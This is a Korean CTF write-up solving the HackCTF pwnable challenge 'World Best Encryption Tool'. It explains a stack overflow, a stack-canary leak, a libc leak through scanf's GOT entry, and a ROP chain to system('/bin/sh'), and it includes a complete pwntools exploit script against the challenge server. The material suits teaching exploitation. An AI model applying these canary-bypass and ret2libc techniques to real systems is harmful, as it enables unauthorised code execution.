WAR GAME/HackCTF

[HackCTF : Pwnable] World Best Encryption Tool 풀이 (64bit, leak)

jir4vvit 2021. 4. 28. 13:50

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

하 못 풀 뻔  . . .

 


주어진 파일은 바이너리 파일 뿐

 

Analysis

일단 실행

나의 인풋을 암호화해준다. 그리고 Yes나 No를 입력해서 계속 이어가거나 종료할 수 있다.

 

IDA

main

저기서 bof가 터진다. 

그리고 바로 아래 for문에서 암호화를 시킨다.

strncpy 함수는 0x39 복붙한다. 

위에서도 언급했지만, Yes나 No를 입력해서 계속 이어가거나 종료할 수 있다...

 

How to exploit

보호 기법

카나리가 존재한다... bof를 일으켜서 RET를 건드리려면 카나리 릭이 필수적이다.

Summary

  1. canary 릭
  2. libc 주소 릭 
  3. system('/bin/sh') 실행

카나리 릭 할 때는 카나리가 '\x00'으로 시작한다는 것을 이용한다. 'strncpy 함수 호출 후 스택상황인데, 저렇게 딱.. 카나리의 '\x00'부분을 '\x42'로 덮여져 있다.

\x00' 자리에 B를 넣어서 B까지 읽고 7바이트를 읽고 앞에 '\x00'을 붙여주면 카나리를 릭할 수 있다.

 

libc 주소를 릭할 때는 릭이 되는 got가 있고 안되는 got도 있었다.

처음에 puts got을 leak하려고 했는데, 안되었다. 

지금 생각해보면 당연히 안된다. 왜 안되냐면, scanf는 공백으로 끊는? 특징이 있다. puts의 got는 0x20이 포함되어 있는데, 0x20는 공백을 뜻한다. (0x601020)

그래서 scanf의 got를 leak했다.


main

이 문제를 풀면서 헷갈린 것은 ...  strncpy 연산 때문에 dest와 src에 데이터들이 어떻게 채워지는지..? 약간 그런 것이 헷갈렸다.

payload = 'A' * (0x38) + '\x00'
payload += 'B' * (0x80-0x40-0x1)
payload += p64(canary)
payload += 'C' * 0x8
payload += p64(pop_rdi)
payload += p64(e.got['__isoc99_scanf'])
payload += p64(e.plt['puts'])
payload += p64(main)

립시를 leak할때는 위와 같이 페이로드를 작성해주었는데, 0x39만큼만 복사를 해서 A+0x38 에다가 NULL을 추가해줬다. strncpy는 문자열을 복사하는 함수이기 때문에 마지막에 널이 필요하다. 그리고 남은 공간은 B로 채웠다.

 

 

Let's exploit

from pwn import *

#p = process('./World_best_encryption_tool')
p = remote('ctf.j0n9hyun.xyz', 3027)
e = ELF('./World_best_encryption_tool')
#libc = e.libc

pop_rdi = 0x4008e3
main = 0x400727

# canary leak
payload = ''
payload += 'A' * (0x40 - 0x8)
payload += 'B'

#pause()
p.sendlineafter('\n', payload)

p.readuntil('B')
leak = p.read(7)
canary = '\x00' + leak
canary = u64(canary)
log.info('canary = '+hex(canary))


# libc
p.recvuntil("(Yes/No)\n")
p.sendline('Yes')

payload = 'A' * (0x38) + '\x00'
payload += 'B' * (0x80-0x40-0x1)
payload += p64(canary)
payload += 'C' * 0x8
payload += p64(pop_rdi)
payload += p64(e.got['__isoc99_scanf'])
payload += p64(e.plt['puts'])
payload += p64(main)


#pause()
p.sendlineafter('Your text)\n', payload)

p.recvuntil('(Yes/No)\n')
p.sendline('No')

#print p.recvline()
libc_leak = u64(p.recv(6) + '\x00\x00')
log.info('__isoc99_scanf = '+hex(libc_leak))

system = libc_leak - 0x26140
binsh = libc_leak + 0x121887

#log.info('libc base = '+hex(libc_base))

# .....................

payload = ''
payload += 'A' * 0x38 + '\x00'
payload += 'B' * (0x80-0x40-0x1)
payload += p64(canary)
payload += 'C' * 0x8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

#pause()
p.sendlineafter('Your text)\n', payload)

p.recvuntil('(Yes/No)\n')
p.sendline('No')

p.interactive()

 

 

참고로 오프셋 계산은 아래와 같이 ~ 했다.